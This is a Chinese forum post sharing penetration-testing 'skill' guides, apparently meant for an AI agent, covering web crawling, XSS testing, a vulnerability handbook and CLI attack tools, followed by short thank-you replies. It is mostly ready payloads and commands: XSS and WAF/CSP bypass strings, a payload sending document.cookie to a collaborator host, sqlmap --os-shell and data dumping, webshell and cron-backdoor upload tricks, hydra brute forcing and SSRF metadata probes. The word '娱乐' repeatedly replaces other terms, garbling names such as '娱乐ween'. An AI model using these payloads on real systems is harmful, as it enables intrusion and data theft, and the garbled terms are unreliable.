- 记录登录表单位置和参数 **认证后爬取** - 使用有效凭据登录后爬取 - 通过 Cookie 或 Token 维持会话 - 对比认证前后的页面差异,发现需要认证的功能 **多角色爬取** - 使用不同权限的账户分别爬取 - 对比各角色可访问的页面 - 发现越权访问的候选测试点 --- ## 3. 信息提取 ### 3.1 URL 与参数提取 从爬取结果中提取: - 完整的 URL 列表(去重后) - 每个 URL 的查询参数名和示例值 - URL 路径中的动态段(如 `/user/123/profile` 中的 `123`) - RESTful API 的资源路径模式 **参数分类** | 参数类型 | 示例 | 测试重点 | | ---------- | -------------------------------- | -------------------- | | ID 类 | `id=123`, `uid=456` | IDOR、SQL 注入 | | 搜索/过滤 | `q=keyword`, `filter=xxx` | SQL 注入、XSS | | 文件路径 | `file=report.pdf`, `path=/data` | 路径穿越、文件包含 | | URL/重定向 | `url=http://...`, `redirect=...` | SSRF、开放重定向 | | 模版/渲染 | `template=xxx`, `view=xxx` | SSTI | | 命令/操作 | `cmd=ping`, `action=export` | 命令注入 | | 排序/列名 | `sort=name`, `order=desc` | SQL 注入(ORDER BY) | ### 3.2 表单发现 提取所有表单信息: - 表单 `action` URL 和 `method` - 所有 `input` 字段的 `name`、`type`、`value` - 隐藏字段(可能包含 CSRF Token、内部参数) - 文件上传字段(`type="file"`) - `enctype` 属性(`multipart/form-data` 表示可上传文件) **高价值表单** - 登录表单 → 暴力娱乐、SQL 注入 - 注册表单 → SQL 注入、XSS(存储型) - 搜索表单 → SQL 注入、XSS(反射型) - 评论/反馈表单 → 存储型 XSS - 文件上传表单 → 文件上传漏洞 - 密码修改表单 → CSRF - 管理功能表单 → 越权、命令注入 ### 3.3 API 端点发现 **从 HTML/JS 中提取** - JavaScript 文件中的 API URL - AJAX 请求的端点 - 前端路由配置 **常见 API 模式** ``` /api/v1/users /api/v1/users/{id} /api/v1/users/{id}/profile /graphql /graphql/playground /.well-known/openapi.json /swagger.json /swagger-ui.html /api-docs ``` **API 文档发现** - Swagger/OpenAPI: `/swagger.json`, `/v2/api-docs`, `/openapi.yaml` - GraphQL: `/graphql` (introspection query) - WADL: `/application.wadl` ### 3.4 敏感信息发现 在爬取过程中关注: - 注释中的敏感信息(`<!-- TODO: remove before production -->`) - JavaScript 中硬编码的 API Key、Token - 错误页面泄露的技术栈信息 - robots.txt 和 sitemap.xml 中的隐藏路径 - .env、.git、.svn 等配置文件暴露 - 备份文件(.bak, .old, .swp, ~) --- ## 4. JavaScript 分析 ### 4.1 JS 文件收集 爬虫应收集所有引用的 JavaScript 文件: - `<script src="...">` 引用的外部 JS - 内联 `<script>` 块中的代码 - 动态加载的 JS(通过 XHR/Fetch) ### 4.2 JS 中的信息提取 从 JavaScript 文件中提取: - API 端点 URL(`fetch('/api/...')`, `axios.get('/api/...')`) - 路由定义(前端路由配置) - 硬编码的凭据或密钥 - WebSocket 端点 - 第三方服务集成信息 **正则提取模式** ``` # API 端点 ("|')(/api/[a-zA-Z0-9/_-]+)("|') ("|')(https?://[^"']+)("|') # 密钥 (api[_-]?key|apikey|secret|token|password)\s*[:=]\s*["'][^"']+["'] # AWS Key AKIA[0-9A-Z]{16} ``` ### 4.3 JavaScript 渲染页面 对于 SPA (Single Page Application): - 需要使用无头浏览器(Headless Browser)执行 JavaScript - 等待异步加载完成后再提取 DOM - 模拟用户交互(点击、滚动)触发动态内容加载 - 监听网络请求捕获 API 调用 --- ## 5. 爬取结果分析 ### 5.1 站点地图构建 将爬取结果组织为树形结构: ``` target.com ├── / (首页) ├── /login (登录) ├── /register (注册) ├── /user/ │ ├── /user/profile (个人资料) │ └── /user/settings (设置) ├── /api/ │ ├── /api/v1/users │ ├── /api/v1/posts │ └── /api/v1/upload ├── /admin/ (管理后台) │ ├── /admin/dashboard │ └── /admin/users └── /search (搜索) ``` ### 5.2 攻击面评估 对每个发现的功能点评估潜在风险: | 功能点 | 输入参数 | 潜在漏洞 | 测试优先级 | | ------------------ | ----------- | -------------- | ---------- | | /search?q= | q (搜索词) | SQL 注入, XSS | 高 | | /api/v1/users/{id} | id (用户ID) | IDOR, SQL 注入 | 高 | | /upload | file (文件) | 文件上传漏洞 | 高 | | /user/profile | name, bio | 存储型 XSS | 中 | | /admin/* | - | 未授权访问 | 高 | ### 5.3 与漏洞测试的衔接 爬取完成后,将结果按漏洞类型分组,传递给对应的测试技能: 1. **注入测试组**:所有带参数的 URL → sql-injection, command-injection, template-injection 2. **XSS 测试组**:所有参数在响应中有反射的 URL → xss-testing 3. **认证测试组**:登录/注册/密码功能 → 暴力娱乐、Session 测试 4. **越权测试组**:带 ID 参数的 API → IDOR 测试 5. **文件操作组**:上传/下载功能 → 文件上传、路径穿越 6. **SSRF 测试组**:接受 URL 参数的端点 → SSRF 测试 --- ## 6. 目录扫描补充 爬虫可能遗漏的路径通过字典扫描补充: ### 6.1 常见敏感路径 ``` /.git/config /.svn/entries /.env /.env.production /.env.local /backup/ /backup.sql /database.sql /wp-config.php.bak /config.yml /config.json /.htaccess /server-status /server-info /phpinfo.php /info.php /test.php /debug/ /console/ /actuator/ /actuator/env /actuator/health /metrics /trace /heapdump ``` ### 6.2 管理后台路径 ``` /admin/ /administrator/ /manage/ /management/ /backend/ /dashboard/ /portal/ /cp/ /controlpanel/ /webmaster/ ``` --- ## 7. 爬虫检查清单 - [ ] 未认证爬取完成 - [ ] 认证后爬取完成(如有凭据) - [ ] URL 列表提取并去重 - [ ] 参数列表提取并分类 - [ ] 表单发现并记录 - [ ] API 端点发现并记录 - [ ] JavaScript 文件分析完成 - [ ] 敏感信息收集完成 - [ ] robots.txt / sitemap.xml 检查完成 - [ ] 目录扫描补充完成 - [ ] 站点地图构建完成 - [ ] 攻击面评估完成 - [ ] 测试目标分组完成,准备交接给漏洞测试

二、XSS 跨站娱乐测试技能

# XSS 跨站娱乐测试技能 系统化检测和验证 Web 应用中的跨站娱乐(XSS)漏洞。 通过分层 Payload 注入、上下文感知的编码变换和响应分析, 定位未经正确过滤/转义的用户输入输出点。 --- ## 1. XSS 分类与识别 ### 1.1 反射型 XSS (Reflected) 用户输入通过 HTTP 请求参数直接反射到响应页面中。 识别特征: - URL 参数值出现在 HTML 响应体中 - 搜索框、错误消息、表单回填等场景 - 服务端未对输出进行 HTML 实体编码 测试入口: - GET/POST 参数 - HTTP Header(Referer、User-Agent、X-Forwarded-For) - URL 路径段(path segment) - Fragment 不直接发送到服务端,但可能被 JavaScript 读取 ### 1.2 存储型 XSS (Stored) 用户输入被持久化存储,在其他用户访问时触发。 高危存储点: - 用户评论、留言板、论坛帖子 - 用户个人资料(昵称、签名、头像 URL) - 文件名(上传文件后展示) - 日志查看界面(管理后台展示用户输入) - 邮件内容(Webmail 客户端) ### 1.3 DOM 型 XSS (DOM-based) 前端 JavaScript 直接使用不可信数据操作 DOM。 危险 Sink: - `document.write()` / `document.writeln()` - `element.innerHTML` / `element.outerHTML` - `element.insertAdjacentHTML()` - `eval()` / `setTimeout(string)` / `setInterval(string)` - `new Function(string)` - `location.href` / `location.assign()` / `location.replace()` - `jQuery.html()` / `jQuery.append()` / `$()` 危险 Source: - `location.hash` / `location.search` / `location.href` - `document.referrer` - `document.cookie` - `window.name` - `postMessage` 事件的 `event.data` - Web Storage(localStorage / sessionStorage) --- ## 2. 测试方法论 ### 2.1 第一阶段:输入点枚举 1. 爬取目标站点,收集所有表单、URL 参数、API 端点 2. 识别每个参数在响应中的反射位置 3. 记录反射上下文(HTML body、属性值、JavaScript、CSS、URL) ### 2.2 第二阶段:探测注入 使用无害探针确认反射行为: ``` canary_string_12345 <canary> "canary" 'canary' ``` 分析响应中探针的变化: - 是否被原样返回 - 是否被 HTML 编码(`<` → `&lt;`) - 是否被删除或截断 - 是否被 URL 编码 - 上下文位置(标签内容、属性值、娱乐块) ### 2.3 第三阶段:上下文适配 Payload 根据探测结果选择对应的 Payload 策略(见第 3 节)。 ### 2.4 第四阶段:绕过验证 针对发现的过滤规则,尝试绕过手段(见第 4 节)。 ### 2.5 第五阶段:影响评估 成功触发后评估实际影响: - 能否窃取 Cookie(HttpOnly 标志?) - 能否发起跨站请求 - 能否读取页面内容(同源策略边界?) - CSP 策略是否限制内联娱乐执行 --- ## 3. 分层 Payload 集合 ### 3.1 HTML 上下文(标签内容区) 当输入反射在 `<div>`, `<p>`, `<td>` 等标签的文本内容中: ```html <script>alert(1)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> <body onload=alert(1)> <input onfocus=alert(1) autofocus> <marquee onstart=alert(1)> <details open ontoggle=alert(1)> <video><source onerror=alert(1)> <audio src=x onerror=alert(1)> <iframe srcdoc="<script>alert(1)</script>"> ``` ### 3.2 HTML 属性上下文 当输入反射在 HTML 属性值中,如 `<input value="USER_INPUT">`: ```html " onfocus=alert(1) autofocus=" " onmouseover=alert(1) " "><script>alert(1)</script> '><img src=x onerror=alert(1)> " style="background:url(javascript:alert(1)) ``` 如果属性未加引号 `<input value=USER_INPUT>`: ```html onfocus=alert(1) autofocus onmouseover=alert(1) ``` ### 3.3 JavaScript 上下文 当输入反射在 `<script>` 块内部,如 `var x = "USER_INPUT"`: ```javascript ";alert(1)// ';alert(1)// \";alert(1)// </script><script>alert(1)</script> ``` 模板字面量上下文 `` var x = `USER_INPUT` ``: ```javascript ${alert(1)} ``` ### 3.4 URL 上下文 当输入反射在 `href` 或 `src` 属性中,如 `<a href="USER_INPUT">`: ``` javascript:alert(1) data:text/html,<script>alert(1)</script> data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== ``` ### 3.5 CSS 上下文 当输入反射在 `<style>` 或 `style` 属性中: ```css expression(alert(1)) url(javascript:alert(1)) </style><script>alert(1)</script> ``` --- ## 4. WAF 绕过与编码策略 ### 4.1 大小写混淆 ```html <ScRiPt>alert(1)</sCrIpT> <IMG SRC=x OnErRoR=alert(1)> ``` ### 4.2 HTML 实体编码 ```html <img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;> <a href="javascript&#58;alert(1)">click</a> <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)">click</a> ``` ### 4.3 Unicode 编码 ```javascript \u0061\u006c\u0065\u0072\u0074(1) ``` ### 4.4 标签变形 ```html <scr<script>ipt>alert(1)</scr</script>ipt> <scr%00ipt>alert(1)</script> <<script>script>alert(1)</script> ``` ### 4.5 事件处理器替代 当 `onerror` 被过滤时,使用其他事件: ```html <svg/onload=alert(1)> <body/onhashchange=alert(1)> <input/onfocus=alert(1) autofocus> <details/open/ontoggle=alert(1)> <marquee/onstart=alert(1)> <video/src/onerror=alert(1)> <isindex type=image src=x onerror=alert(1)> ``` ### 4.6 括号替代 当 `()` 被过滤: ```html <img src=x onerror=alert`1`> <img src=x onerror=alert&lpar;1&rpar;> <img src=x onerror="window['alert'](1)"> <svg onload="top[/al/.source+/ert/.source](1)"> ``` ### 4.7 空格替代 ```html <svg/onload=alert(1)> <svg onload=alert(1)> <svg%0aonload=alert(1)> <svg%0donload=alert(1)> <svg%09onload=alert(1)> ``` ### 4.8 JavaScript 关键字绕过 当 `alert` 被过滤: ```javascript confirm(1) prompt(1) window['al'+'ert'](1) top[/al/.source+/ert/.source](1) self['alert'](1) []['constructor']['constructor']('return alert(1)')() ``` --- ## 5. CSP 绕过参考 ### 5.1 常见 CSP 弱点 | CSP 配置 | 绕过方法 | | ---------------------------- | -------------------------------------------------- | | `script-src 'unsafe-inline'` | 直接内联娱乐 | | `script-src 'unsafe-eval'` | `eval()`, `setTimeout(string)` | | `script-src cdn.example.com` | 寻找 CDN 上的 JSONP 端点或 Angular 等库 | | `script-src 'self'` | 寻找同源的文件上传或 JSONP 端点 | | `script-src 'nonce-xxx'` | 如果 nonce 可预测或在注入点之后生成 | | `script-src data:` | `<script src="data:text/javascript,alert(1)">` | | 缺少 `base-uri` | `<base href="https://attacker.com/">` 劫持相对路径 | | 缺少 `object-src` | `<object data="data:text/html,...">` | ### 5.2 CSP 绕过 Payload ```html <script nonce="correct-nonce">alert(1)</script> <script src="https://allowed-cdn.com/jsonp?callback=alert(1)//"> <base href="https://attacker.com/"><script src="/legit-path.js"></script> <object data="data:text/html,<script>alert(1)</script>"> ``` --- ## 6. 测试检查清单 - [ ] 枚举所有用户输入反射点(URL 参数、表单字段、Header) - [ ] 确认每个反射点的 HTML 上下文 - [ ] 测试基础 Payload(`<script>alert(1)</script>`) - [ ] 测试上下文适配 Payload(属性逃逸、JS 逃逸等) - [ ] 检查服务端过滤规则并尝试绕过 - [ ] 检查 CSP 策略及其可绕过性 - [ ] 检查 Cookie 的 HttpOnly 标志 - [ ] 评估存储型 XSS 的可能性 - [ ] 检查 DOM XSS(分析前端 JS 中的 source-sink 链) - [ ] 记录所有发现,包含完整的重现步骤

三、Web 漏洞评估手册

## SQL 注入检测 ### 检测流程 1. **识别输入点**:GET/POST 参数、Cookie、HTTP 头(X-Forwarded-For、Referer、User-Agent) 2. **基础探测**: ``` 原始值: id=1 测试1: id=1' → 观察是否报错 测试2: id=1' AND '1'='1 → 观察是否正常 测试3: id=1' AND '1'='2 → 观察是否异常 测试4: id=1 AND 1=1 → 数字型测试 测试5: id=2-1 → 算术测试 ``` 3. **确认注入**:使用 time-based 做最终确认 ```sql id=1' AND SLEEP(5)-- - -- MySQL id=1'; WAITFOR DELAY '0:0:5'-- - -- MSSQL id=1' AND pg_sleep(5)-- - -- PostgreSQL ``` ### 自动化检测 ```bash # sqlmap 基础检测 sqlmap -u "https://target.com/api?id=1" --batch --level=3 --risk=2 # 从 Burp 日志批量测试 sqlmap -l burp-log.txt --batch --level=3 # POST 参数 sqlmap -u "https://target.com/login" --data "user=admin&pass=test" --batch # Cookie 注入 sqlmap -u "https://target.com/profile" --cookie "user_id=1" -p user_id --batch # Header 注入 sqlmap -u "https://target.com/" --headers="X-Forwarded-For: 1*" --batch ``` ### WAF 绕过策略 ```bash # sqlmap tamper 组合 sqlmap -u URL --tamper=space2comment,娱乐ween,randomcase --random-agent --delay=2 # 手动绕过 # 1. 内联注释: /*!50000SELECT*/ /*!50000UNION*/ # 2. 换行: %0aSELECT # 3. HPP: ?id=1&id=' UNION SELECT 1--(参数污染) # 4. 分块传输: Transfer-Encoding: chunked ``` --- ## XSS 检测 ### 检测流程 1. **找反射点**:输入唯一标记(如 `xss_test_12345`),搜索响应中是否出现 2. **确定上下文**: - HTML 标签内容:`<div>REFLECTED</div>` → 尝试 `<script>alert(1)</script>` - HTML 属性中:`<input value="REFLECTED">` → 尝试 `" onfocus=alert(1) autofocus "` - JavaScript 中:`var x="REFLECTED"` → 尝试 `";alert(1)//` - URL 中:`<a href="REFLECTED">` → 尝试 `javascript:alert(1)` 3. **绕过过滤**:根据被过滤的字符选择绕过方法 ### 存储型 XSS 检测 ``` # 在所有持久化输入点注入: # 用户名、个人简介、评论、文件名、反馈表单 # Payload: <img src=x onerror=fetch('https://COLLABORATOR/?c='+document.cookie)> ``` ### CORS 配置检测 ```bash # 测试 Origin 反射 curl -sI -H "Origin: https://evil.com" https://target.com/api | grep -i "access-control" # 测试 null origin curl -sI -H "Origin: null" https://target.com/api | grep -i "access-control" # 危险配置: # Access-Control-Allow-Origin: * (如果带 credentials) # Access-Control-Allow-Origin: [反射任意 Origin] # Access-Control-Allow-Credentials: true ``` --- ## SSRF 检测 ### 检测方法 ```bash # 1. 直接回连检测 # 在参数中传入自己控制的服务器地址 url=http://YOUR_SERVER/ssrf-test # 检查服务器是否收到请求 # 2. 带外检测(OOB) url=http://BURP_COLLABORATOR/ssrf # 3. 内网探测 url=http://127.0.0.1:PORT url=http://169.254.169.254/ # 云元数据 # 4. 协议探测 url=file:///etc/passwd url=dict://127.0.0.1:6379/info url=gopher://127.0.0.1:6379/_INFO ``` ### 常见触发点 ``` # URL 参数 ?url=&redirect=&callback=&next=&link=&src=&image=&file= ?proxy=&load=&target=&fetch=&page=&content=&feed= # 文件导入功能 # PDF 生成(wkhtmltopdf、puppeteer) # 图片处理(ImageMagick) # Webhook URL # 富文本编辑器(加载远程图片) ``` --- ## 认证与授权测试 ### 认证绕过 ``` # 1. 默认凭证测试 admin:admin / admin:password / admin:123456 / root:root / test:test # 2. 密码重置漏洞 # - Host 头注入:Host: evil.com(重置链接指向攻击者) # - 可预测的重置 Token # - 密码重置 Token 不过期 # 3. 多因素认证绕过 # - 直接访问认证后页面 # - 修改响应(将 "mfa_required" 改为 false) # - 暴力娱乐 OTP # 4. JWT 安全 # - alg: none 攻击 # - 算法混淆(RS256 → HS256) # - 弱密钥爆破 # 详见 ctf-web/crypto-web.md#jwt-攻击 ``` ### 授权缺陷(IDOR / 越权) ```bash # 水平越权:修改 ID 参数访问其他用户数据 GET /api/users/1001 → 200 OK(自己的数据) GET /api/users/1002 → 200 OK(他人的数据 = IDOR) # 垂直越权:低权限用户访问管理功能 # 以普通用户 Session 请求管理 API curl -b "session=USER_SESSION" https://target.com/admin/users # 参数篡改 POST /api/profile {"role": "admin"} POST /api/order {"price": 0.01} # HTTP 方法篡改 # 某些框架仅对 GET/POST 做权限检查 PUT /admin/config # 可能绕过 PATCH /admin/users/1 ``` --- ## 业务逻辑漏洞 ``` # 竞争条件 # - 优惠券重复使用 # - 余额并发提取 # - 库存超卖 # 用并发请求测试: for i in $(seq 1 20); do curl -s -X POST https://target.com/api/redeem -d "coupon=GIFT100" -b "session=xxx" & done wait # 整数溢出/下溢 # - 负数金额转账 # - 数量设为 -1 # 流程跳过 # - 跳过支付步骤直接确认订单 # - 跳过验证步骤直接修改密码 # 批量操作滥用 # - 用户枚举(注册/登录/重置不同提示) # - 邮件轰炸(重复触发通知) ``` --- ## 信息泄露检查 ```bash # 响应头信息泄露 curl -sI https://target.com | grep -iE "server|x-powered|x-aspnet|x-debug" # 错误信息泄露 curl -s "https://target.com/api/undefined" | head -50 curl -s "https://target.com/api?id='" | head -50 # 调试接口 /debug /console /trace /phpinfo.php /_profiler /actuator/env /actuator/heapdump /swagger-ui.html # .env / 配置文件 /.env /config.php /wp-config.php /application.yml /web.config /appsettings.json /.git/config # 目录列表 # 检查目录是否开启索引 for dir in /uploads /backup /temp /logs /static; do resp=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com$dir/") echo "$dir: HTTP $resp" done # HTTP 安全头缺失 # X-Frame-Options / X-Content-Type-Options / Content-Security-Policy # Strict-Transport-Security / X-XSS-Protection ``` --- ## 文件上传检测 ### 测试策略 ``` 1. 上传正常文件确认功能正常 2. 尝试上传 WebShell: - 原始 .php/.jsp/.aspx 后缀 - 双后缀:shell.php.jpg - 大小写:shell.pHp - 空字节截断:shell.php%00.jpg (旧版本) - 特殊后缀:.phtml .php3 .php5 .phar .shtml .jspx - 竞争条件上传 3. 测试 MIME 类型绕过(修改 Content-Type) 4. 测试文件头绕过(GIF89a + webshell) 5. 上传 .htaccess / .user.ini 修改解析规则 6. 上传 SVG(可能触发 XSS/SSRF) 7. 上传 XML(可能触发 XXE) ``` ### 路径穿越上传 ``` filename="../../../etc/cron.d/backdoor" filename="....//....//shell.php" ```

四、命令行 Web 测试工具

# 命令行 Web 测试工具 替代 Burp Suite 的命令行工具集,适合自动化和娱乐化测试。 ## HTTP 请求工具 ### curl ```bash # GET 请求 curl -s https://target.com/api/users # POST (form) curl -s -X POST https://target.com/login -d "user=admin&pass=test" # POST (JSON) curl -s -X POST https://target.com/api -H "Content-Type: application/json" -d '{"key":"value"}' # 带 Cookie curl -s -b "session=abc123" https://target.com/admin # 带自定义头 curl -s -H "Authorization: Bearer TOKEN" -H "X-Custom: value" https://target.com/api # 查看响应头 curl -sI https://target.com curl -sv https://target.com 2>&1 | grep -E "^[<>]" # 跟随重定向 curl -sL https://target.com/redirect # 忽略 SSL 证书 curl -sk https://self-signed.target.com # 上传文件 curl -s -X POST https://target.com/upload -F "file=@shell.php" # 代理 curl -s -x http://127.0.0.1:8080 https://target.com ``` ### httpie ```bash # GET http https://target.com/api # POST http POST https://target.com/api key=value # 带认证 http -a admin:password https://target.com/api # 带 Header http https://target.com/api "Authorization: Bearer TOKEN" ``` --- ## Web 模糊测试 ### ffuf ```bash # 目录模糊 ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 # 参数模糊 ffuf -u "https://target.com/api?FUZZ=test" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 -fs 0 # 子域名模糊 ffuf -u https://FUZZ.target.com -w subdomains.txt -mc 200 # vhost 模糊 ffuf -u https://target.com -H "Host: FUZZ.target.com" -w subdomains.txt -mc 200 -fs DEFAULT_SIZE # POST 参数模糊 ffuf -u https://target.com/login -X POST -d "user=admin&pass=FUZZ" -w passwords.txt -mc 200 -fr "Invalid" # 多字段模糊 ffuf -u https://target.com/login -X POST -d "user=USERFUZZ&pass=PASSFUZZ" -w users.txt:USERFUZZ -w passwords.txt:PASSFUZZ -mc 200 # 过滤选项 -mc 200,301 # 匹配状态码 -fc 404,403 # 排除状态码 -ms 1000 # 匹配响应大小 -fs 0 # 排除响应大小 -mr "Success" # 匹配正则 -fr "Error" # 排除正则 -fl 10 # 排除行数 # 输出 -o results.json -of json ``` ### wfuzz ```bash # 目录模糊 wfuzz -w /usr/share/wordlists/dirb/common.txt --hc 404 https://target.com/FUZZ # 参数模糊 wfuzz -w params.txt --hc 404 "https://target.com/api?FUZZ=test" # POST 模糊 wfuzz -w passwords.txt -d "user=admin&pass=FUZZ" --hc 403 https://target.com/login # 多 payload wfuzz -w users.txt -w passwords.txt -d "user=FUZZ&pass=FUZ2Z" https://target.com/login # Cookie 模糊 wfuzz -w wordlist.txt -b "session=FUZZ" --hc 403 https://target.com/admin ``` --- ## SQL 注入工具 ### sqlmap ```bash # 基础检测 sqlmap -u "https://target.com/api?id=1" --batch # POST 请求 sqlmap -u "https://target.com/login" --data "user=admin&pass=test" --batch # 指定注入点 sqlmap -u "https://target.com/api?id=1*&name=test" --batch # * 标记注入点 # 从 Burp 请求文件 sqlmap -r request.txt --batch # 枚举数据库 sqlmap -u URL --dbs --batch sqlmap -u URL -D database_name --tables --batch sqlmap -u URL -D database_name -T table_name --columns --batch sqlmap -u URL -D database_name -T table_name -C col1,col2 --dump --batch # 获取 Shell sqlmap -u URL --os-shell --batch sqlmap -u URL --sql-shell --batch # 绕过 WAF sqlmap -u URL --tamper=space2comment,娱乐ween,randomcase --batch sqlmap -u URL --random-agent --delay=1 --batch # 常用 tamper 娱乐 # space2comment 空格转注释 # 娱乐ween 用 BETWEEN 替换 > # randomcase 随机大小写 # charencode URL 编码 # equaltolike = 转 LIKE # base64encode Base64 编码 # 指定技术 --technique=BEUSTQ # B布尔 E报错 U联合 S堆叠 T时间 Q内联 --level=5 # 测试级别 (1-5) --risk=3 # 风险级别 (1-3) ``` --- ## 流量拦截代理 ### mitmproxy ```bash # 启动代理 mitmproxy -p 8080 # 透明代理 mitmproxy --mode transparent # 娱乐模式(自动化修改请求/响应) mitmproxy -s script.py # 仅记录 mitmdump -p 8080 -w traffic.flow # 回放 mitmdump -r traffic.flow # 过滤 mitmproxy -p 8080 --set view_filter="~d target.com" ``` mitmproxy 娱乐示例: ```python from mitmproxy import http def request(flow: http.HTTPFlow): if "target.com" in flow.request.host: flow.request.headers["X-Custom"] = "injected" def response(flow: http.HTTPFlow): if "admin" in flow.request.path: print(f"[*] Admin access: {flow.request.url}") print(f" Status: {flow.response.status_code}") print(f" Body: {flow.response.text[:200]}") ``` --- ## 漏洞扫描 ### nuclei ```bash # 全模板扫描 nuclei -u https://target.com # 指定严重级别 nuclei -u https://target.com -severity critical,high # 指定标签 nuclei -u https://target.com -tags cve,misconfig,exposure # 批量目标 nuclei -l urls.txt -severity critical,high -o results.txt # 指定模板 nuclei -u https://target.com -t cves/ nuclei -u https://target.com -t http/misconfiguration/ # 并发控制 nuclei -u https://target.com -c 50 -rl 150 # 50 并发,150 请求/秒 # 更新模板 nuclei -ut ``` --- ## 密码娱乐 ### hydra ```bash # SSH hydra -L users.txt -P passwords.txt ssh://TARGET -t 4 # FTP hydra -L users.txt -P passwords.txt ftp://TARGET -t 10 # HTTP POST 表单 hydra -L users.txt -P passwords.txt TARGET http-post-form "/login:user=^USER^&pass=^PASS^:Invalid credentials" -t 10 # HTTP Basic Auth hydra -L users.txt -P passwords.txt TARGET http-get /admin # MySQL hydra -L users.txt -P passwords.txt mysql://TARGET # RDP hydra -L users.txt -P passwords.txt rdp://TARGET -t 4 # SMB hydra -L users.txt -P passwords.txt smb://TARGET ``` ### hashcat ```bash # 识别哈希类型 hashid 'HASH_VALUE' hashcat --identify hash.txt # 常见模式 hashcat -m 0 hash.txt wordlist.txt # MD5 hashcat -m 100 hash.txt wordlist.txt # SHA1 hashcat -m 1400 hash.txt wordlist.txt # SHA256 hashcat -m 1000 hash.txt wordlist.txt # NTLM hashcat -m 3200 hash.txt wordlist.txt # bcrypt hashcat -m 1800 hash.txt wordlist.txt # sha512crypt hashcat -m 500 hash.txt wordlist.txt # md5crypt hashcat -m 16500 hash.txt wordlist.txt # JWT # 规则攻击 hashcat -m 0 hash.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule # 掩码攻击 hashcat -m 0 hash.txt -a 3 ?a?a?a?a?a?a # 6 位全字符 hashcat -m 0 hash.txt -a 3 ?u?l?l?l?d?d?d?d # 如 Admin1234 # 字符集 # ?l 小写 / ?u 大写 / ?d 数字 / ?s 特殊 / ?a 全部 ``` 网友解答:


--【壹】--:

你说我用cc跑你这个skill去挖SRC,能回本吗


--【贰】--:

感谢大佬


--【叁】--:

感谢分享


--【肆】--:

最近在学习这方面的知识,感谢佬!